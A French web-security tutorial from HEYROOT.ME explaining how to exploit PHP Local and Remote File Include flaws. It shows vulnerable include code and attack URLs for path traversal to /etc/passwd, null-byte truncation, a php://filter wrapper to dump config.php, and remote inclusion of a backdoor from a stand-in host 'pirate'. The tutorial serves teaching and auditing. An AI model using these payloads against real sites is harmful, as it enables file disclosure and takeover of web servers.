file

Transcription

file
HEYROOT.ME
Exploitation de la faille
Include (LFI/RFI)
Version
1.0
1.1
Date
24/11/2014
21/11/2015
Révision
Initiation du document
Ajout des PHP Wrappers
Auteur
Shura
Shura
HEYROOT.ME
Description
La faille include est l'une des vulnérabilités du web les plus connues, ce qui explique que
l'on en trouve de moins en moins lors d'audit de sécurité. Dans cet article nous allons voir
les méthodes qui permettent d'exploiter les failles Local File Include et Remote File
Include.
Exploitation
Local File Include
Une faille Local File Include ou LFI ne permet d'inclure que des fichiers présents sur le
serveur de la victime.
Prenons cette l'URL :
http://cible/index.php?page=accueil.php
Ci-dessous, nous pouvons voir un exemple un code vulnérable dans le fichier index.php.
‹?php
include ("/var/www/monsite/include/".$_GET['page']);
?>
Le début du chemin est défini statiquement, il n'est pas possible de le changer donc nous
ne pourrons pas inclure des fichiers distants. Cependant, l'URL suivante nous permettra de
voir le contenu du fichier passwd (sur un système Linux).
http://cible/index.php?page=../../../../etc/passwd
Maintenant, prenons le cas suivant où une extension de fichier est définie statiquement,
nous empêchant d'ouvrir un fichier avec l'extension de notre choix.
‹?php
include ("/var/www/monsite/include/".$_GET['page'].".php");
?>
Il existe un hack que l'on nomme null bit pour les versions PHP inférieur à 5.3.4. Cela
consiste à couper la chaine de caractères où nous le souhaitons en injectant un caractère
de fin de chaine \0. Encodé, dans l'url ce caractère se traduit pas %00. Avec l’URL suivante
le .php ne sera pas pris en compte.
http://cible/index.php?page=../../../../etc/passwd%00
A noter que dans la configuration d'apache et PHP la directive open_basedir peut très bien
restreindre la base du dossier par exemple a /var/www/ nous empêchant de monter plus
haut dans l'arborescence.
PHP Wrappers
Il est possible de récupérer le contenu de fichier interprété en utilisant des certains
Wrappers PHP comme PHP filters. Nous allons tout simplement convertir le fichier
config.php en base64 pour l’afficher.
24 novembre 2014
2
HEYROOT.ME
http://cible/index.php?page=php://filter/read=convert.base64encode/resource=config.php
Il ne restera plus qu’à décoder la chaine affichée.
Remote File Include
Une faille Remote File Include ou RFI permet d'inclure des fichiers distants et d'exécuter le
code PHP présent dans ces fichiers.
Tout d'abord il est important de noter que cette faille ne fonctionne que si l'inclusion à
distance est autorisée explicitement dans la configuration (php.ini) ou que la version de
PHP est inférieure à 5.2.0.
allow_url_fopen = On
allow_url_include = On
Par défaut allow_url_include est à Off.
Prenons le code suivant :
‹?php
include ($_GET['page']);
?>
Il n'y a aucune restriction. Imaginons d'un attaquant héberge n'importe où sur le web un
fichier contenant du code PHP (hack.txt), et qu'il joue avec l'URL pour inclure ce fichier.
http://cible/index.php?page=http://pirate/hack.txt
Son fichier sera alors inclue, et celui-ci contient une backdoor le pirate prendra le contrôle
du site (si les droits le permettent).
Voyons maintenant le cas d'une extension statique.
‹?php
include ($_GET['page'].".php");
?>
Dans le code source suivant, l'extension est fixe, et pourrait très bien nous gêner si la
backdoor est sur un serveur qui interprète PHP et ne laisse pas révéler son code. Utiliser
les paramètres de variables GET pour contourner cette situation.
http://cible/index.php?page=http://pirate/hack.txt?variable=aaaa
24 novembre 2014
3